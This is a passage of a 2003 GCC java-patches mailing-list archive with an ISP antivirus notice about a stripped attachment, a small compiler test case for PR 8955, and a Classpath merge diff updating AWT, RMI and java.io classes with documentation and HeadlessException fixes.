java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 31252 invoked from network); 1 Jan 2003 19:16:28 -0000 Received: from unknown (HELO moscou.magic.fr) (62.210.158.41) by 209.249.29.67 with SMTP; 1 Jan 2003 19:16:28 -0000 Received: from magic.fr (ppp-125.net-101.magic.fr [62.210.208.125]) by moscou.magic.fr (8.11.6/8.10.1) with ESMTP id h01JG9P24703; Wed, 1 Jan 2003 20:16:09 +0100 (CET) Message-ID: <3E133E7B.BFEDD934@magic.fr> Date: Wed, 01 Jan 2003 20:16:11 +0100 From: Laurent X-Accept-Language: fr,en,en-US,en-GB,es MIME-Version: 1.0 To: mark , java-patches@gcc.gnu.org Subject: Re: Have a funny Epiphany References: <20030101175057.C633C1719@relay-3v.club-internet.fr> Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit My ISP pretends there is a virus attached in message http://gcc.gnu.org/ml/java-patches/2003-q1/msg00000.html mark a écrit : > ------------------ Message d'alerte Antivirale > > FACE.exe is removed from here because it contains a virus. > > --------------------------------------------------------- From java-patches-return-5720-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Thu Jan 02 00:05:15 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 5590 invoked by alias); 2 Jan 2003 00:05:14 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 5580 invoked from network); 2 Jan 2003 00:05:13 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 209.249.29.67 with SMTP; 2 Jan 2003 00:05:13 -0000 Received: from fleche.redhat.com (tq0103.peakpeak.com [207.174.177.103]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id RAA31320; Wed, 1 Jan 2003 17:05:00 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id CC71D4F8087; Wed, 1 Jan 2003 17:07:30 -0700 (MST) To: Java Patch List Subject: Patch: FYI: PR 8955 test From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: HOW could a GLASS be YELLING?? Date: 01 Jan 2003 17:07:29 -0700 Message-ID: <87smwc4doe.fsf@fleche.redhat.com> Lines: 30 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii I'm checking this in on the trunk and the branch. This is a small test case for PR 8955. Tom Index: ChangeLog from Tom Tromey * libjava.compile/pr8955.java: New test, for PR java/8955. Index: libjava.compile/pr8955.java =================================================================== RCS file: libjava.compile/pr8955.java diff -N libjava.compile/pr8955.java --- /dev/null 1 Jan 1970 00:00:00 -0000 +++ libjava.compile/pr8955.java 2 Jan 2003 00:04:20 -0000 @@ -0,0 +1,13 @@ +public class pr8955 +{ + static final int val = Integer.MIN_VALUE; + void foo() + { + switch(1) { + case val: + break; + case 1: + break; + } + } +} From java-patches-return-5721-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Thu Jan 02 00:12:25 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 8971 invoked by alias); 2 Jan 2003 00:12:24 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 8961 invoked from network); 2 Jan 2003 00:12:23 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 209.249.29.67 with SMTP; 2 Jan 2003 00:12:23 -0000 Received: from fleche.redhat.com (tq0103.peakpeak.com [207.174.177.103]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id RAA32556; Wed, 1 Jan 2003 17:12:03 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id E3CB14F8087; Wed, 1 Jan 2003 17:14:33 -0700 (MST) To: Java Patch List Subject: Patch: FYI: Classpath merge From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: I am KING BOMBA of Sicily!..I will marry LUCILLE BALL next Friday! Date: 01 Jan 2003 17:14:33 -0700 Message-ID: <87isx84dcm.fsf@fleche.redhat.com> Lines: 2742 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii I'm checking this in on the trunk and the branch. This merges a bunch of classes with Classpath. The AWT changes tend to be documentation fixes, but there are some HeadlessException fixes and other bug fixes (including some bugs against the spec) in there. This work was mostly done by Michael Koch. The PipedOutputStream and PipedWriter changes are simple bug fixes. The RMI changes add a missing class and clean up a minor (and apparently not useful) divergence we had. Tom Index: ChangeLog from Tom Tromey * Makefile.in: Rebuilt. * Makefile.am (rmi_java_source_files): Added RMIClassLoaderSpi. * java/awt/AlphaComposite.java, java/awt/BasicStroke.java, java/awt/BufferCapabilities.java, java/awt/Button.java, java/awt/CheckboxMenuItem.java, java/awt/Choice.java, java/awt/Container.java, java/awt/Cursor.java, java/awt/EventQueue.java, java/awt/FileDialog.java, java/awt/Graphics2D.java, java/awt/Label.java, java/awt/Menu.java, java/awt/MenuBar.java, java/awt/MenuComponent.java, java/awt/PopupMenu.java, java/awt/ScrollPane.java, java/awt/Scrollbar.java, java/awt/TextArea.java, java/awt/TextField.java, java/awt/color/CMMException.java, java/awt/color/ColorSpace.java, java/awt/color/ICC_Profile.java, java/awt/color/ProfileDataException.java, java/awt/datatransfer/Clipboard.java, java/awt/datatransfer/DataFlavor.java, java/awt/datatransfer/FlavorMap.java, java/awt/datatransfer/SystemFlavorMap.java, java/awt/dnd/DragGestureEvent.java, java/awt/dnd/DragGestureRecognizer.java, java/awt/dnd/DragSource.java, java/awt/dnd/DropTarget.java, java/awt/event/WindowEvent.java, java/awt/geom/PathIterator.java, java/awt/im/InputMethodHighlight.java, java/io/PipedOutputStream.java, java/io/PipedWriter.java, java/rmi/server/RMIClassLoader.java: Merged from Classpath. * gnu/awt/j2d/Graphics2DImpl.java (drawImage): Changed type of `op' to BufferedImageOp. Index: Makefile.am =================================================================== RCS file: /cvs/gcc/gcc/libjava/Makefile.am,v retrieving revision 1.266 diff -u -r1.266 Makefile.am --- Makefile.am 22 Dec 2002 16:08:40 -0000 1.266 +++ Makefile.am 2 Jan 2003 00:10:41 -0000 @@ -1336,6 +1336,7 @@ java/rmi/server/ObjID.java \ java/rmi/server/Operation.java \ java/rmi/server/RMIClassLoader.java \ +java/rmi/server/RMIClassLoaderSpi.java \ java/rmi/server/RMIClientSocketFactory.java \ java/rmi/server/RMIFailureHandler.java \ java/rmi/server/RMIServerSocketFactory.java \ Index: gnu/awt/j2d/Graphics2DImpl.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/gnu/awt/j2d/Graphics2DImpl.java,v retrieving revision 1.2 diff -u -r1.2 Graphics2DImpl.java --- gnu/awt/j2d/Graphics2DImpl.java 9 Aug 2002 05:52:52 -0000 1.2 +++ gnu/awt/j2d/Graphics2DImpl.java 2 Jan 2003 00:10:45 -0000 @@ -1,4 +1,4 @@ -/* Copyright (C) 2000, 2002 Free Software Foundation +/* Copyright (C) 2000, 2002, 2003 Free Software Foundation This file is part of libgcj. @@ -24,6 +24,7 @@ import java.awt.geom.AffineTransform; import java.awt.image.ImageObserver; import java.awt.image.BufferedImage; +import java.awt.image.BufferedImageOp; import java.awt.image.RenderedImage; import java.awt.image.renderable.RenderableImage; import java.text.AttributedCharacterIterator; @@ -459,7 +460,7 @@ throw new UnsupportedOperationException(msg); } - public void drawImage(BufferedImage image, BufferedImage op, int x, int y) + public void drawImage(BufferedImage image, BufferedImageOp op, int x, int y) { throw new UnsupportedOperationException("not implemented yet"); } Index: java/awt/AlphaComposite.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/awt/AlphaComposite.java,v retrieving revision 1.1 diff -u -r1.1 AlphaComposite.java --- java/awt/AlphaComposite.java 9 Aug 2002 04:26:13 -0000 1.1 +++ java/awt/AlphaComposite.java 2 Jan 2003 00:10:46 -0000 @@ -64,6 +64,7 @@ return size() > MAX_CACHE_SIZE; } }; + public static final int CLEAR = 1; public static final int SRC = 2; public static final int DST = 9; @@ -88,6 +89,7 @@ public static final AlphaComposite SrcAtop = getInstance(SRC_ATOP); public static final AlphaComposite DstAtop = getInstance(DST_ATOP); public static final AlphaComposite Xor = getInstance(XOR); + private final int rule; private final float alpha; private AlphaComposite(int rule, float alpha) @@ -95,10 +97,32 @@ this.rule = rule; this.alpha = alpha; } + + /** + * Creates an AlphaComposite object with the specified rule. + * + * @param rule The compositing rule. + * + * @exception IllegalArgumentException If rule is not one of the following: + * CLEAR, SRC, DST, SRC_OVER, DST_OVER, SRC_IN, DST_IN, SRC_OUT, DST_OUT, + * SRC_ATOP, DST_ATOP, or XOR. + */ public static AlphaComposite getInstance(int rule) { return getInstance(rule, 1); } + + /** + * Creates an AlphaComposite object with the specified rule and the constant + * alpha to multiply with the alpha of the source. The source is multiplied + * with the specified alpha before being composited with the destination. + * + * @param rule The compositing rule. + * + * @exception IllegalArgumentException If rule is not one of the following: + * CLEAR, SRC, DST, SRC_OVER, DST_OVER, SRC_IN, DST_IN, SRC_OUT, DST_OUT, + * SRC_ATOP, DST_ATOP, or XOR. + */ public static AlphaComposite getInstance(int rule, float alpha) { if (rule < CLEAR || rule > XOR || ! (alpha >= 0 && alpha <= 1)) Index: java/awt/BasicStroke.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/awt/BasicStroke.java,v retrieving revision 1.1 diff -u -r1.1 BasicStroke.java --- java/awt/BasicStroke.java 9 Aug 2002 04:26:13 -0000 1.1 +++ java/awt/BasicStroke.java 2 Jan 2003 00:10:46 -0000 @@ -1,5 +1,5 @@ /* BasicStroke.java -- - Copyright (C) 2002 Free Software Foundation, Inc. + Copyright (C) 2002, 2003 Free Software Foundation, Inc. This file is part of GNU Classpath. @@ -59,12 +59,31 @@ private final float[] dash; private final float phase; + /** + * Creates a basic stroke. + * + * @param width May not be negative . + * @param cap May be either CAP_BUTT, CAP_ROUND or CAP_SQUARE. + * @param join May be either JOIN_ROUND, JOIN_BEVEL, or JOIN_MITER. + * @param miterlimit the limit to trim the miter join. The miterlimit must be + * greater than or equal to 1.0f. + * @param dash The array representing the dashing pattern. + * @param dash_phase is negative and dash is not null. + * + * @exception IllegalArgumentException If one input parameter doesn't meet + * its needs. + */ public BasicStroke(float width, int cap, int join, float miterlimit, float[] dash, float dashPhase) { - if (width < 0 || miterlimit < 1 || cap < CAP_BUTT || cap > CAP_SQUARE - || join < JOIN_MITER || join > JOIN_BEVEL) + if (width < 0 || + miterlimit < 1.0f || + cap < CAP_BUTT || + cap > CAP_SQUARE || + join < JOIN_MITER || + join > JOIN_BEVEL) throw new IllegalArgumentException(); + this.width = width; this.cap = cap; this.join = join; @@ -73,21 +92,54 @@ phase = dashPhase; } + /** + * Creates a basic stroke. + * + * @param width The width of the BasicStroke. May not be negative . + * @param cap May be either CAP_BUTT, CAP_ROUND or CAP_SQUARE. + * @param join May be either JOIN_ROUND, JOIN_BEVEL, or JOIN_MITER. + * @param miterlimit the limit to trim the miter join. The miterlimit must be + * greater than or equal to 1.0f. + * + * @exception IllegalArgumentException If one input parameter doesn't meet + * its needs. + */ public BasicStroke(float width, int cap, int join, float miterlimit) { this(width, cap, join, miterlimit, null, 0); } + /** + * Creates a basic stroke. + * + * @param width The width of the BasicStroke. May not be nehative. + * @param cap May be either CAP_BUTT, CAP_ROUND or CAP_SQUARE. + * @param join May be either JOIN_ROUND, JOIN_BEVEL, or JOIN_MITER. + * + * @exception IllegalArgumentException If one input parameter doesn't meet + * its needs. + * @exception IllegalArgumentException FIXME + */ public BasicStroke(float width, int cap, int join) { this(width, cap, join, 10, null, 0); } + /** + * Creates a basic stroke. + * + * @param width The width of the BasicStroke. + * + * @exception IllegalArgumentException If width is negative. + */ public BasicStroke(float width) { this(width, CAP_SQUARE, JOIN_MITER, 10, null, 0); } + /** + * Creates a basic stroke. + */ public BasicStroke() { this(1, CAP_SQUARE, JOIN_MITER, 10, null, 0); Index: java/awt/BufferCapabilities.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/awt/BufferCapabilities.java,v retrieving revision 1.1 diff -u -r1.1 BufferCapabilities.java --- java/awt/BufferCapabilities.java 9 Aug 2002 04:26:13 -0000 1.1 +++ java/awt/BufferCapabilities.java 2 Jan 2003 00:10:46 -0000 @@ -67,6 +67,11 @@ private final ImageCapabilities back; private final FlipContents flip; + /** + * Creates a buffer capabilities object. + * + * @exception IllegalArgumentException If frontCaps or backCaps are null. + */ public BufferCapabilities(ImageCapabilities front, ImageCapabilities back, FlipContents flip) { Index: java/awt/Button.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/awt/Button.java,v retrieving revision 1.9 diff -u -r1.9 Button.java --- java/awt/Button.java 9 Aug 2002 04:26:13 -0000 1.9 +++ java/awt/Button.java 2 Jan 2003 00:10:46 -0000 @@ -90,6 +90,9 @@ /** * Initializes a new instance of Button with no label. + * + * @exception HeadlessException If GraphicsEnvironment.isHeadless() + * returns true */ public Button() @@ -104,12 +107,18 @@ * label. The action command name is also initialized to this value. * * @param label The label to display on the button. + * + * @exception HeadlessException If GraphicsEnvironment.isHeadless() + * returns true */ public Button(String label) { this.label = label; actionCommand = label; + + if (GraphicsEnvironment.isHeadless ()) + throw new HeadlessException (); } /*************************************************************************/ @@ -211,6 +220,10 @@ /** Returns all registered EventListers of the given listenerType. * listenerType must be a subclass of EventListener, or a * ClassClassException is thrown. + * + * @exception ClassCastException If listenerType doesn't specify a class or + * interface that implements @see java.util.EventListener. + * * @since 1.3 */ public EventListener[] getListeners(Class listenerType) Index: java/awt/CheckboxMenuItem.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/awt/CheckboxMenuItem.java,v retrieving revision 1.6 diff -u -r1.6 CheckboxMenuItem.java --- java/awt/CheckboxMenuItem.java 24 Mar 2002 22:37:51 -0000 1.6 +++ java/awt/CheckboxMenuItem.java 2 Jan 2003 00:10:46 -0000 @@ -84,6 +84,9 @@ /** * Initializes a new instance of CheckboxMenuItem with no * label and an initial state of off. + * + * @exception HeadlessException If GraphicsEnvironment.isHeadless() + * returns true. */ public CheckboxMenuItem() @@ -98,6 +101,9 @@ * specified label and an initial state of off. * * @param label The label of the menu item. + * + * @exception HeadlessException If GraphicsEnvironment.isHeadless() + * returns true. */ public CheckboxMenuItem(String label) @@ -114,12 +120,18 @@ * @param label The label of the menu item. * @param state The initial state of the menu item, where true * is on, and false is off. + * + * @exception HeadlessException If GraphicsEnvironment.isHeadless() + * returns true. */ public CheckboxMenuItem(String label, boolean state) { super(label); this.state = state; + + if (GraphicsEnvironment.isHeadless()) + throw new HeadlessException (); } /*************************************************************************/ Index: java/awt/Choice.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/awt/Choice.java,v retrieving revision 1.8 diff -u -r1.8 Choice.java --- java/awt/Choice.java 7 Nov 2002 13:01:34 -0000 1.8 +++ java/awt/Choice.java 2 Jan 2003 00:10:46 -0000 @@ -85,13 +85,17 @@ * Constructors */ -/** - * Initializes a new instance of Choice. - */ -public -Choice() -{ -} + /** + * Initializes a new instance of Choice. + * + * @exception HeadlessException If GraphicsEnvironment.isHeadless() + * returns true + */ + public Choice() + { + if (GraphicsEnvironment.isHeadless()) + throw new HeadlessException (); + } /*************************************************************************/ @@ -146,12 +150,16 @@ * Adds the specified item to this choice box. * * @param item The item to add. + * + * @exception NullPointerException If the item's value is null + * + * @since 1.1 */ public synchronized void add(String item) { if (item == null) - throw new IllegalArgumentException ("item must be non-null"); + throw new NullPointerException ("item must be non-null"); pItems.addElement(item); @@ -171,7 +179,12 @@ /** * Adds the specified item to this choice box. * + * This method is oboslete since Java 2 platform 1.1. Please use @see add + * instead. + * * @param item The item to add. + * + * @exception NullPointerException If the item's value is equal to null */ public synchronized void addItem(String item) @@ -189,10 +202,15 @@ * * @param item The item to add. * @param index The index at which the item should be inserted. + * + * @exception IllegalArgumentException If index is less than 0 */ public synchronized void insert(String item, int index) { + if (index < 0) + throw new IllegalArgumentException ("index may not be less then 0"); + if (index > getItemCount ()) index = getItemCount (); Index: java/awt/Container.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/awt/Container.java,v retrieving revision 1.17 diff -u -r1.17 Container.java --- java/awt/Container.java 11 Nov 2002 06:33:08 -0000 1.17 +++ java/awt/Container.java 2 Jan 2003 00:10:47 -0000 @@ -59,7 +59,9 @@ * * @author original author unknown * @author Eric Blake + * * @since 1.0 + * * @status still missing 1.4 support */ public class Container extends Component @@ -78,7 +80,9 @@ Dimension maxSize; - /** @since 1.4 */ + /** + * @since 1.4 + */ boolean focusCycleRoot; int containerSerializedDataVersion; @@ -107,6 +111,7 @@ * Returns the number of components in this container. * * @return The number of components in this container. + * * @deprecated use {@link #getComponentCount()} instead */ public int countComponents() @@ -118,16 +123,19 @@ * Returns the component at the specified index. * * @param index The index of the component to retrieve. + * * @return The requested component. + * * @throws ArrayIndexOutOfBoundsException If the specified index is invalid */ public Component getComponent(int n) { synchronized (getTreeLock ()) { - if (n < 0 || n >= ncomponents) - throw new ArrayIndexOutOfBoundsException("no such component"); - return component[n]; + if (n < 0 || n >= ncomponents) + throw new ArrayIndexOutOfBoundsException("no such component"); + + return component[n]; } } @@ -140,10 +148,12 @@ { synchronized (getTreeLock ()) { - Component[] result = new Component[ncomponents]; - if (ncomponents > 0) - System.arraycopy(component, 0, result, 0, ncomponents); - return result; + Component[] result = new Component[ncomponents]; + + if (ncomponents > 0) + System.arraycopy(component, 0, result, 0, ncomponents); + + return result; } } @@ -157,6 +167,7 @@ { if (peer == null) return new Insets(0, 0, 0, 0); + return ((ContainerPeer) peer).getInsets(); } @@ -177,6 +188,7 @@ * component list. * * @param component The component to add to the container. + * * @return The same component that was added. */ public Component add(Component comp) @@ -190,7 +202,7 @@ * component list. This method should not be used. Instead, use * add(Component, Object. * - * @param name FIXME + * @param name The name of the component to be added. * @param component The component to be added. * * @return The same component that was added. @@ -268,69 +280,70 @@ { synchronized (getTreeLock ()) { - if (index > ncomponents - || (index < 0 && index != -1) - || comp instanceof Window - || (comp instanceof Container - && ((Container) comp).isAncestorOf(this))) - throw new IllegalArgumentException(); - - // Reparent component, and make sure component is instantiated if - // we are. - if (comp.parent != null) - comp.parent.remove(comp); - comp.parent = this; - if (peer != null) - { - comp.addNotify(); + if (index > ncomponents + || (index < 0 && index != -1) + || comp instanceof Window + || (comp instanceof Container + && ((Container) comp).isAncestorOf(this))) + throw new IllegalArgumentException(); + + // Reparent component, and make sure component is instantiated if + // we are. + if (comp.parent != null) + comp.parent.remove(comp); + comp.parent = this; + if (peer != null) + { + comp.addNotify(); - if (comp.isLightweight()) - enableEvents(comp.eventMask); - } + if (comp.isLightweight()) + enableEvents(comp.eventMask); + } - invalidate(); + invalidate(); - if (component == null) - component = new Component[4]; // FIXME, better initial size? + if (component == null) + component = new Component[4]; // FIXME, better initial size? - // This isn't the most efficient implementation. We could do less - // copying when growing the array. It probably doesn't matter. - if (ncomponents >= component.length) - { - int nl = component.length * 2; - Component[] c = new Component[nl]; - System.arraycopy(component, 0, c, 0, ncomponents); - component = c; - } - if (index == -1) - component[ncomponents++] = comp; - else - { - System.arraycopy(component, index, component, index + 1, - ncomponents - index); - component[index] = comp; - ++ncomponents; - } + // This isn't the most efficient implementation. We could do less + // copying when growing the array. It probably doesn't matter. + if (ncomponents >= component.length) + { + int nl = component.length * 2; + Component[] c = new Component[nl]; + System.arraycopy(component, 0, c, 0, ncomponents); + component = c; + } + + if (index == -1) + component[ncomponents++] = comp; + else + { + System.arraycopy(component, index, component, index + 1, + ncomponents - index); + component[index] = comp; + ++ncomponents; + } - // Notify the layout manager. - if (layoutMgr != null) - { - if (layoutMgr instanceof LayoutManager2) - { - LayoutManager2 lm2 = (LayoutManager2) layoutMgr; - lm2.addLayoutComponent(comp, constraints); - } - else if (constraints instanceof String) - layoutMgr.addLayoutComponent((String) constraints, comp); - else - layoutMgr.addLayoutComponent(null, comp); - } + // Notify the layout manager. + if (layoutMgr != null) + { + if (layoutMgr instanceof LayoutManager2) + { + LayoutManager2 lm2 = (LayoutManager2) layoutMgr; + lm2.addLayoutComponent(comp, constraints); + } + else if (constraints instanceof String) + layoutMgr.addLayoutComponent((String) constraints, comp); + else + layoutMgr.addLayoutComponent(null, comp); + } - // Post event to notify of adding the container. - ContainerEvent ce = new ContainerEvent(this, - ContainerEvent.COMPONENT_ADDED, - comp); - getToolkit().getSystemEventQueue().postEvent(ce); + // Post event to notify of adding the container. + ContainerEvent ce = new ContainerEvent(this, + ContainerEvent.COMPONENT_ADDED, + comp); + getToolkit().getSystemEventQueue().postEvent(ce); } } @@ -343,24 +356,24 @@ { synchronized (getTreeLock ()) { - Component r = component[index]; + Component r = component[index]; - r.removeNotify(); + r.removeNotify(); - System.arraycopy(component, index + 1, component, index, - ncomponents - index - 1); - component[--ncomponents] = null; + System.arraycopy(component, index + 1, component, index, + ncomponents - index - 1); + component[--ncomponents] = null; - invalidate(); + invalidate(); - if (layoutMgr != null) - layoutMgr.removeLayoutComponent(r); + if (layoutMgr != null) + layoutMgr.removeLayoutComponent(r); - // Post event to notify of adding the container. - ContainerEvent ce = new ContainerEvent(this, - ContainerEvent.COMPONENT_REMOVED, - r); - getToolkit().getSystemEventQueue().postEvent(ce); + // Post event to notify of adding the container. + ContainerEvent ce = new ContainerEvent(this, + ContainerEvent.COMPONENT_REMOVED, + r); + getToolkit().getSystemEventQueue().postEvent(ce); } } @@ -373,14 +386,14 @@ { synchronized (getTreeLock ()) { - for (int i = 0; i < ncomponents; ++i) - { - if (component[i] == comp) - { - remove(i); - break; - } - } + for (int i = 0; i < ncomponents; ++i) + { + if (component[i] == comp) + { + remove(i); + break; + } + } } } @@ -391,8 +404,8 @@ { synchronized (getTreeLock ()) { - while (ncomponents > 0) - remove(0); + while (ncomponents > 0) + remove(0); } } @@ -525,6 +538,7 @@ * Returns the preferred size of this container. * * @return The preferred size of this container. + * * @deprecated use {@link #getPreferredSize()} instead */ public Dimension preferredSize() @@ -549,6 +563,7 @@ * Returns the minimum size of this container. * * @return The minimum size of this container. + * * @deprecated use {@link #getMinimumSize()} instead */ public Dimension minimumSize() @@ -709,6 +724,10 @@ } /** + * Returns an array of all the objects currently registered as FooListeners + * upon this Container. FooListeners are registered using the addFooListener + * method. + * * @since 1.3 */ public EventListener[] getListeners(Class listenerType) @@ -760,6 +779,7 @@ * AWT 1.0 event processor. * * @param event The event that occurred. + * * @deprecated use {@link #dispatchEvent(AWTEvent)} instead */ public void deliverEvent(Event e) @@ -784,20 +804,20 @@ { synchronized (getTreeLock ()) { - if (! contains(x, y)) - return null; - for (int i = 0; i < ncomponents; ++i) - { - // Ignore invisible children... - if (!component[i].isVisible()) - continue; - - int x2 = x - component[i].x; - int y2 = y - component[i].y; - if (component[i].contains(x2, y2)) - return component[i]; - } - return this; + if (! contains(x, y)) + return null; + for (int i = 0; i < ncomponents; ++i) + { + // Ignore invisible children... + if (!component[i].isVisible()) + continue; + + int x2 = x - component[i].x; + int y2 = y - component[i].y; + if (component[i].contains(x2, y2)) + return component[i]; + } + return this; } } @@ -813,6 +833,7 @@ * * @return The component containing the specified point, or null * if there is no such point. + * * @deprecated use {@link #getComponentAt(int, int)} instead */ public Component locate(int x, int y) @@ -841,31 +862,31 @@ { synchronized (getTreeLock ()) { - if (! contains(x, y)) - return null; + if (! contains(x, y)) + return null; - for (int i = 0; i < ncomponents; ++i) - { - // Ignore invisible children... - if (!component[i].isVisible()) - continue; - - int x2 = x - component[i].x; - int y2 = y - component[i].y; - // We don't do the contains() check right away because - // findComponentAt would redundantly do it first thing. - if (component[i] instanceof Container) - { - Container k = (Container) component[i]; - Component r = k.findComponentAt(x2, y2); - if (r != null) - return r; - } - else if (component[i].contains(x2, y2)) - return component[i]; - } + for (int i = 0; i < ncomponents; ++i) + { + // Ignore invisible children... + if (!component[i].isVisible()) + continue; + + int x2 = x - component[i].x; + int y2 = y - component[i].y; + // We don't do the contains() check right away because + // findComponentAt would redundantly do it first thing. + if (component[i] instanceof Container) + { + Container k = (Container) component[i]; + Component r = k.findComponentAt(x2, y2); + if (r != null) + return r; + } + else if (component[i].contains(x2, y2)) + return component[i]; + } - return this; + return this; } } @@ -894,9 +915,9 @@ { synchronized (getTreeLock ()) { - for (int i = 0; i < ncomponents; ++i) - component[i].removeNotify(); - super.removeNotify(); + for (int i = 0; i < ncomponents; ++i) + component[i].removeNotify(); + super.removeNotify(); } } @@ -913,14 +934,14 @@ { synchronized (getTreeLock ()) { - while (true) - { - if (comp == null) - return false; - if (comp == this) - return true; - comp = comp.getParent(); - } + while (true) + { + if (comp == null) + return false; + if (comp == this) + return true; + comp = comp.getParent(); + } } } @@ -950,9 +971,9 @@ { synchronized (getTreeLock ()) { - super.list(out, indent); - for (int i = 0; i < ncomponents; ++i) - component[i].list(out, indent + 2); + super.list(out, indent); + for (int i = 0; i < ncomponents; ++i) + component[i].list(out, indent + 2); } } @@ -967,62 +988,93 @@ { synchronized (getTreeLock ()) { - super.list(out, indent); - for (int i = 0; i < ncomponents; ++i) - component[i].list(out, indent + 2); + super.list(out, indent); + for (int i = 0; i < ncomponents; ++i) + component[i].list(out, indent + 2); } } public void setFocusTraversalKeys(int id, Set keys) { + if (id != KeyboardFocusManager.FORWARD_TRAVERSAL_KEYS && + id != KeyboardFocusManager.BACKWARD_TRAVERSAL_KEYS && + id != KeyboardFocusManager.UP_CYCLE_TRAVERSAL_KEYS && + id != KeyboardFocusManager.DOWN_CYCLE_TRAVERSAL_KEYS) + throw new IllegalArgumentException (); } + public Set getFocusTraversalKeys(int id) { + if (id != KeyboardFocusManager.FORWARD_TRAVERSAL_KEYS && + id != KeyboardFocusManager.BACKWARD_TRAVERSAL_KEYS && + id != KeyboardFocusManager.UP_CYCLE_TRAVERSAL_KEYS && + id != KeyboardFocusManager.DOWN_CYCLE_TRAVERSAL_KEYS) + throw new IllegalArgumentException (); + return null; } + public boolean areFocusTraversalKeysSet(int id) { + if (id != KeyboardFocusManager.FORWARD_TRAVERSAL_KEYS && + id != KeyboardFocusManager.BACKWARD_TRAVERSAL_KEYS && + id != KeyboardFocusManager.UP_CYCLE_TRAVERSAL_KEYS && + id != KeyboardFocusManager.DOWN_CYCLE_TRAVERSAL_KEYS) + throw new IllegalArgumentException (); + return false; } + public boolean isFocusCycleRoot(Container c) { return false; } + public void transferFocusBackward() { } + public void setFocusTraversalPolicy(FocusTraversalPolicy policy) { } + public FocusTraversalPolicy getFocusTraversalPolicy() { return null; } + public boolean isFocusTraversalPolicySet() { return false; } + public void setFocusCycleRoot(boolean focusCycleRoot) { } + public boolean isFocusCycleRoot() { return false; } + public void transferFocusDownCycle() { } + public void applyComponentOrientation(ComponentOrientation o) { + if (orientation == null) + throw new NullPointerException (); } + public void addPropertyChangeListener(PropertyChangeListener l) { } + public void addPropertyChangeListener(String name, PropertyChangeListener l) { } - // Hidden helper methods. /** @@ -1044,14 +1096,14 @@ { synchronized (getTreeLock ()) { - for (int i = 0; i < ncomponents; ++i) - { - Component comp = component[i]; - boolean applicable = comp.isVisible() - && (comp.isLightweight() || !lightweightOnly); + for (int i = 0; i < ncomponents; ++i) + { + Component comp = component[i]; + boolean applicable = comp.isVisible() + && (comp.isLightweight() || !lightweightOnly); - if (applicable) - visitChild(gfx, visitor, comp); + if (applicable) + visitChild(gfx, visitor, comp); } } } @@ -1100,50 +1152,50 @@ { synchronized (getTreeLock ()) { - int start, end; - if (child != null) - { - for (start = 0; start < ncomponents; ++start) - { - if (component[start] == child) - break; - } - end = start; - // This special case lets us be sure to terminate. - if (end == 0) - end = ncomponents; - ++start; - } - else - { - start = 0; - end = ncomponents; - } + int start, end; + if (child != null) + { + for (start = 0; start < ncomponents; ++start) + { + if (component[start] == child) + break; + } + end = start; + // This special case lets us be sure to terminate. + if (end == 0) + end = ncomponents; + ++start; + } + else + { + start = 0; + end = ncomponents; + } - for (int j = start; j != end; ++j) - { - if (j >= ncomponents) - { - // The JCL says that we should wrap here. However, that - // seems wrong. To me it seems that focus order should be - // global within in given window. So instead if we reach - // the end we try to look in our parent, if we have one. - if (parent != null) - return parent.findNextFocusComponent(this); - j -= ncomponents; - } - if (component[j] instanceof Container) - { - Component c = component[j]; - c = c.findNextFocusComponent(null); - if (c != null) - return c; - } - else if (component[j].isFocusTraversable()) - return component[j]; - } + for (int j = start; j != end; ++j) + { + if (j >= ncomponents) + { + // The JCL says that we should wrap here. However, that + // seems wrong. To me it seems that focus order should be + // global within in given window. So instead if we reach + // the end we try to look in our parent, if we have one. + if (parent != null) + return parent.findNextFocusComponent(this); + j -= ncomponents; + } + if (component[j] instanceof Container) + { + Component c = component[j]; + c = c.findNextFocusComponent(null); + if (c != null) + return c; + } + else if (component[j].isFocusTraversable()) + return component[j]; + } - return null; + return null; } } @@ -1151,16 +1203,15 @@ { synchronized (getTreeLock ()) { - for (int i = ncomponents; --i >= 0; ) - { - component[i].addNotify(); - if (component[i].isLightweight()) - enableEvents(component[i].eventMask); - } + for (int i = ncomponents; --i >= 0; ) + { + component[i].addNotify(); + if (component[i].isLightweight()) + enableEvents(component[i].eventMask); + } } } - // Nested classes. /* The following classes are used in concert with the @@ -1200,6 +1251,7 @@ * This class provides accessibility support for subclasses of container. * * @author Eric Blake + * * @since 1.3 */ protected class 